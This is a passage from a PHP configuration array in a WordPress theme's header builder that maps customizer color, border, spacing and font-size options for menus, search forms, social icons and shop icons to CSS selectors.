		'penci_header_pb_main_menu_penci_menu_line_hv_color'         => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul.sub-menu > li > a:before',
		),
		'penci_header_pb_main_menu_penci_menu_bg_hv_color'           => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
		'penci_header_pb_main_menu_penci_mega_bg_color'              => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_main_menu_penci_mega_child_cat_bg_color'    => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_main_menu_penci_mega_post_date_color'       => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_main_menu_penci_mega_post_category_color'   => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_main_menu_penci_mega_post_title_color'      => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a,.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_main_menu_penci_mega_accent_color'          => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_main_menu_penci_mega_border_style2'         => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_main_menu_penci_submenu_bordercolor'        => array(
			'border-color'        => '.pc-builder-element.pc-main-menu .penci-dropdown-menu,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-main-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-main-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-main-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_main_menu_penci_submenu_bgcolor'            => array(
			'background-color'    => '.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_main_menu_drop_border_style2'               => array(
			'background-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-2 ul.menu ul:before',
		),

		// second menu
		'penci_header_pb_second_menu_penci_menu_color'               => '.pc-builder-element.pc-second-menu .navigation .menu > li > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_second_menu_penci_menu_hv_color'            => '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_second_menu_penci_menu_active_color'        => '.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_second_menu_penci_submenu_color'            => '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_second_menu_penci_submenu_hv_color'         => '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_second_menu_penci_submenu_activecl'         => '.pc-builder-element.pc-second-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_second_menu_penci_menu_bg_color'            => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a',
		),
		'penci_header_pb_second_menu_penci_menu_line_hv_color'       => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before',
		),
		'penci_header_pb_second_menu_penci_menu_bg_hv_color'         => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
		'penci_header_pb_second_menu_penci_mega_bg_color'            => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_second_menu_penci_mega_child_cat_bg_color'  => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_second_menu_penci_mega_post_date_color'     => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_second_menu_penci_mega_post_title_color'    => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_second_menu_penci_mega_post_category_color' => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_second_menu_penci_mega_accent_color'        => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_second_menu_penci_mega_border_style2'       => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_second_menu_penci_submenu_bordercolor'      => array(
			'border-color'        => '.pc-builder-element.pc-second-menu .penci-dropdown-menu,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-second-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-second-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-second-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_second_menu_penci_submenu_bgcolor'          => array(
			'background-color'    => '.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_second_menu_drop_border_style2'             => array(
			'background-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before',
		),

		// third menu
		'penci_header_pb_third_menu_penci_menu_color'                => '.pc-builder-element.pc-third-menu .navigation .menu > li > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_third_menu_penci_menu_hv_color'             => '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_third_menu_penci_menu_active_color'         => '.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_third_menu_penci_submenu_color'             => '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_third_menu_penci_submenu_hv_color'          => '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_third_menu_penci_submenu_activecl'          => '.pc-builder-element.pc-third-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_third_menu_penci_menu_bg_color'             => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a',
		),
		'penci_header_pb_third_menu_penci_menu_line_hv_color'        => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before',
		),
		'penci_header_pb_third_menu_penci_menu_bg_hv_color'          => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
		'penci_header_pb_third_menu_penci_mega_bg_color'             => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_third_menu_penci_mega_child_cat_bg_color'   => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_third_menu_penci_mega_post_date_color'      => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_third_menu_penci_mega_post_category_color'  => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_third_menu_penci_mega_post_title_color'     => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_third_menu_penci_mega_accent_color'         => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_third_menu_penci_mega_border_style2'        => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_third_menu_penci_submenu_bordercolor'       => array(
			'border-color'        => '.pc-builder-element.pc-third-menu .penci-dropdown-menu,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before,.pc-builder-element.pc-third-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-third-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-third-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_third_menu_penci_submenu_bgcolor'           => array(
			'background-color'    => '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_third_menu_drop_border_style2'              => array(
			'background-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before',
		),

		// search
		'penci_header_pb_search_form_bg_color'                       => array(
			'background-color' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_border_color'                   => array(
			'border-color' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btntxt_color'                   => array(
			'color' => '.pc-search-form-desktop form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btnhtxt_color'                  => array(
			'color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover',
		),
		'penci_header_pb_search_form_btn_color'                      => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btn_hv_color'                   => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover',
		),

		// search mobile
		'penci_header_pb_search_form_sidebar_bg_color'               => array(
			'background-color' => '.penci-builder-element.pc-search-form.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_border_color'           => array(
			'border-color' => '.penci-builder-element.pc-search-form.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btntxt_color'           => array(
			'color' => '.pc-search-form-sidebar form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btnhtxt_color'          => array(
			'color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover',
		),
		'penci_header_pb_search_form_sidebar_btn_color'              => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btn_hv_color'           => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover',
		),

		// social icon dekstop
		'penci_header_pb_social_icon_section_icon_size'              => array(
			'font-size' => '.penci-builder-element.header-social.desktop-social a i',
		),
		'penci_header_pb_social_icon_section_item_spacing'           => array(
			'margin-right' => 'body:not(.rtl) .penci-builder-element.desktop-social .inner-header-social a',
			'margin-left'  => 'body.rtl .penci-builder-element.desktop-social .inner-header-social a',
		),

		'penci_header_pb_social_icon_section_bg_color'        => array(
			'background-color' => '.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_bg_hv_color'     => array(
			'background-color' => '.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_section_border_color'    => array(
			'border-color' => '.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_border_hv_color' => array(
			'border-color' => '.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),

		'penci_header_pb_social_icon_section_color'                  => array(
			'color' => '.penci-builder-element.desktop-social .inner-header-social a,.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_hv_color'               => array(
			'color' => '.penci-builder-element.desktop-social .inner-header-social a:hover,.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),

		// social icon mobile
		'penci_header_pb_social_icon_mobile_section_icon_size'       => array(
			'font-size' => '.penci-builder-element.mobile-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_icon_w'          => array(
			'width' => '.penci-builder-element.mobile-social i',
		),
		'penci_header_pb_social_icon_mobile_section_icon_h'          => array(
			'height' => '.penci-builder-element.mobile-social i',
		),
		'penci_header_pb_social_icon_mobile_section_item_spacing'    => array(
			'margin-right' => 'body:not(.rtl) .penci-builder-element.mobile-social .inner-header-social a',
			'margin-left'  => 'body.rtl .penci-builder-element.mobile-social .inner-header-social a',
		),
		'penci_header_pb_hamburger_menu_color'                       => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after',
		),
		'penci_header_pb_hamburger_menu_hv_color'                    => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after',
		),
		'penci_header_pb_hamburger_menu_bcolor'                      => array(
			'border-color' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_hamburger_menu_bhcolor'                     => array(
			'border-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover',
		),
		'penci_header_pb_hamburger_menu_bgcolor'                     => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_hamburger_menu_bghcolor'                    => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover',
		),
		'penci_header_pb_hamburger_menu_btnbstyle'                   => array(
			'border-style' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_social_icon_mobile_section_bg_color'        => array(
			'background-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_bg_hv_color'     => array(
			'background-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_mobile_section_border_color'    => array(
			'border-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_border_hv_color' => array(
			'border-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_mobile_section_color'           => array(
			'color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_hv_color'        => array(
			'color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),

		// search form
		'penci_header_pb_search_form_height'                         => array(
			'line-height' => '.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit ',
		),
		'penci_header_pb_search_form_sidebar_height'                 => array(
			'line-height' => '.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit ',
		),

		'penci_header_pb_search_form_input_pdl' => array(
			'padding-left' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_input_pdr' => array(
			'padding-right' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btn_pdl'   => array(
			'padding-left' => '.penci-builder-element.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btn_pdr'   => array(
			'padding-right' => '.penci-builder-element.pc-search-form-desktop .searchsubmit',
		),

		'penci_header_pb_search_form_sidebar_input_pdl'   => array(
			'padding-left' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_input_pdr'   => array(
			'padding-right' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btn_pdl'     => array(
			'padding-left' => '.penci-builder-element.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btn_pdr'     => array(
			'padding-right' => '.penci-builder-element.pc-search-form-sidebar .searchsubmit',
		),

		// font size
		'penci_header_pb_cart_icon_section_size'          => array(
			'font-size' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > i, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > a > i',
		),
		'penci_header_pb_wishlist_icon_section_size'      => array(
			'font-size' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_btnbstyle' => array(
			'border-style' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_compare_icon_section_size'       => array(
			'font-size' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bd_color'   => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bdh_color'  => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		),
		'penci_header_pb_compare_icon_section_bg_color'   => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bgh_color'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		),

		'penci_header_pb_compare_icon_section_btnbstyle' => array(
